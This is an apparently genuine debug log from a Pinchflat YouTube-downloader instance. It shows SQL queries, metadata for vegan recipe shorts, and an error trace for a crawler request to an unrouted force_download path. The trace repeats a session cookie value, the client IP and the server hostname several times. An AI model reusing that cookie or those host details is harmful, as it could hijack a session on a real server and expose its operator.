❤", "5 Minute Sweet Potato Toast 🍠😋❤ #shorts", 1, 45, false, "I_GGKlyIHrg", "https://www.youtube.com/shorts/I_GGKlyIHrg", "/downloads/downloads/alec/Steamy Vegan/2023-05-03 5 Minute Sweet Potato Toast 🍠😋❤ #shorts/5 Minute Sweet Potato Toast 🍠😋❤ #shorts [I_GGKlyIHrg].NA", true, ~U[2023-05-03 14:00:16Z]] 20:26:13.247 [debug] QUERY OK source="sources" db=0.5ms idle=219.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:13.248 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:13.249 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [560] 20:26:13.249 [debug] Current batch of media processed. Will check again in 1000ms 20:26:14.241 [info] GET /sources/1/media/390/force_download 20:26:14.242 [debug] QUERY OK source="settings" db=0.6ms idle=994.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:26:14.243 [debug] QUERY OK source="settings" db=0.1ms idle=995.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:26:14.243 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:26:14.243 [error] #PID<0.4288.0> running PinchflatWeb.Endpoint (connection #PID<0.4287.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/390/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/390/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/390/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/390", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4288.0>, params: %{}, path_info: ["sources", "1", "media", "390", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/390"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/390/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MAHDwpZo8hwUAAD6x"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/390/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/390", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/390/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4287.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/390/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinch (truncated) 20:26:14.250 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My favorite way to top my GF and vegan waffles every Sunday is with nut or seed butter, homemade blueberry chia jam (recipe vid below), hemp seeds, and cinnamon. It's a simple yet protein packed and delicious way to enjoy your vegan waffles. \n\nTry making my super simple blueberry chia jam here: https://youtu.be/Qe3ml7MNi-M\n\nWant to make GF and Vegan blender pancakes? Then check out this awesome recipe vid here: https://youtu.be/Ku7a74eh3a8", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-02 My Fav Way to Top My GF Vegan Waffles #shorts/My Fav Way to Top My GF Vegan Waffles #shorts [vSZAeLUrI0M].NA", "id" => "vSZAeLUrI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vSZAeLUrI0M", "playlist_index" => 172, "timestamp" => 1683036040, "title" => "My Fav Way to Top My GF Vegan Waffles #shorts", "upload_date" => "20230502"} 20:26:14.251 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:14.251 [debug] QUERY OK source="sources" db=0.3ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:14.253 [debug] QUERY OK source="media_items" db=1.6ms idle=222.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-02 14:00:40Z], 1] 20:26:14.255 [debug] QUERY OK source="media_items" db=1.0ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My favorite way to top my GF and vegan waffles every Sunday is with nut or seed butter, homemade blueberry chia jam (recipe vid below), hemp seeds, and cinnamon. It's a simple yet protein packed and delicious way to enjoy your vegan waffles. \n\nTry making my super simple blueberry chia jam here: https://youtu.be/Qe3ml7MNi-M\n\nWant to make GF and Vegan blender pancakes? Then check out this awesome recipe vid here: https://youtu.be/Ku7a74eh3a8", "My Fav Way to Top My GF Vegan Waffles #shorts", "5c825a2e-64b0-4408-85e1-6e18cf7a766b", 1, [], 27, false, "vSZAeLUrI0M", "https://www.youtube.com/shorts/vSZAeLUrI0M", 172, "/downloads/downloads/alec/Steamy Vegan/2023-05-02 My Fav Way to Top My GF Vegan Waffles #shorts/My Fav Way to Top My GF Vegan Waffles #shorts [vSZAeLUrI0M].NA", false, false, true, 0, ~U[2023-05-02 14:00:40Z], ~U[2026-03-22 03:26:14Z], ~U[2026-03-22 03:26:14Z], "My favorite way to top my GF and vegan waffles every Sunday is with nut or seed butter, homemade blueberry chia jam (recipe vid below), hemp seeds, and cinnamon. It's a simple yet protein packed and delicious way to enjoy your vegan waffles. \n\nTry making my super simple blueberry chia jam here: https://youtu.be/Qe3ml7MNi-M\n\nWant to make GF and Vegan blender pancakes? Then check out this awesome recipe vid here: https://youtu.be/Ku7a74eh3a8", "My Fav Way to Top My GF Vegan Waffles #shorts", 1, 27, false, "vSZAeLUrI0M", "https://www.youtube.com/shorts/vSZAeLUrI0M", "/downloads/downloads/alec/Steamy Vegan/2023-05-02 My Fav Way to Top My GF Vegan Waffles #shorts/My Fav Way to Top My GF Vegan Waffles #shorts [vSZAeLUrI0M].NA", true, ~U[2023-05-02 14:00:40Z]] 20:26:14.255 [debug] QUERY OK source="sources" db=0.3ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:14.256 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:14.257 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [561] 20:26:14.257 [debug] Current batch of media processed. Will check again in 1000ms 20:26:15.258 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and gluten free breakfast is my new favorite that I've been binging on all week. I used cocoa powder, peanut butter, and chia seeds to make it very high in protein and extremely filling.\n\nSubscribe and check out the recipe on my channel! Here the recipe link: https://youtu.be/MGEm9UCZdlM", "duration" => 54, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-01 Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts/Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts [HlNUPt3wCiw].NA", "id" => "HlNUPt3wCiw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HlNUPt3wCiw", "playlist_index" => 173, "timestamp" => 1682983200, "title" => "Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts", "upload_date" => "20230501"} 20:26:15.259 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:15.260 [debug] QUERY OK source="sources" db=0.7ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:15.263 [debug] QUERY OK source="media_items" db=2.4ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-01 23:20:00Z], 1] 20:26:15.265 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free breakfast is my new favorite that I've been binging on all week. I used cocoa powder, peanut butter, and chia seeds to make it very high in protein and extremely filling.\n\nSubscribe and check out the recipe on my channel! Here the recipe link: https://youtu.be/MGEm9UCZdlM", "Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts", "ab0ef126-bfe9-47b2-b96b-5b7cd682066e", 1, [], 54, false, "HlNUPt3wCiw", "https://www.youtube.com/shorts/HlNUPt3wCiw", 173, "/downloads/downloads/alec/Steamy Vegan/2023-05-01 Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts/Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts [HlNUPt3wCiw].NA", false, false, true, 0, ~U[2023-05-01 23:20:00Z], ~U[2026-03-22 03:26:15Z], ~U[2026-03-22 03:26:15Z], "This vegan and gluten free breakfast is my new favorite that I've been binging on all week. I used cocoa powder, peanut butter, and chia seeds to make it very high in protein and extremely filling.\n\nSubscribe and check out the recipe on my channel! Here the recipe link: https://youtu.be/MGEm9UCZdlM", "Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts", 1, 54, false, "HlNUPt3wCiw", "https://www.youtube.com/shorts/HlNUPt3wCiw", "/downloads/downloads/alec/Steamy Vegan/2023-05-01 Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts/Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts [HlNUPt3wCiw].NA", true, ~U[2023-05-01 23:20:00Z]] 20:26:15.265 [debug] QUERY OK source="sources" db=0.7ms idle=233.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:15.266 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:15.267 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [562] 20:26:15.267 [debug] Current batch of media processed. Will check again in 1000ms 20:26:15.537 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:16.268 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "FULL RECIPE VIDEO ➡️ \nhttps://youtu.be/ElN-bKuTYR4\n\nI'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-28 Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)/Lemon Poppyseed Granola (with a SECRET ingredient! 🤫) [XQjLcTBlKxY].NA", "id" => "XQjLcTBlKxY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XQjLcTBlKxY", "playlist_index" => 174, "timestamp" => 1682702285, "title" => "Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)", "upload_date" => "20230428"} 20:26:16.269 [debug] QUERY OK source="sources" db=0.6ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:16.270 [debug] QUERY OK source="sources" db=0.4ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" 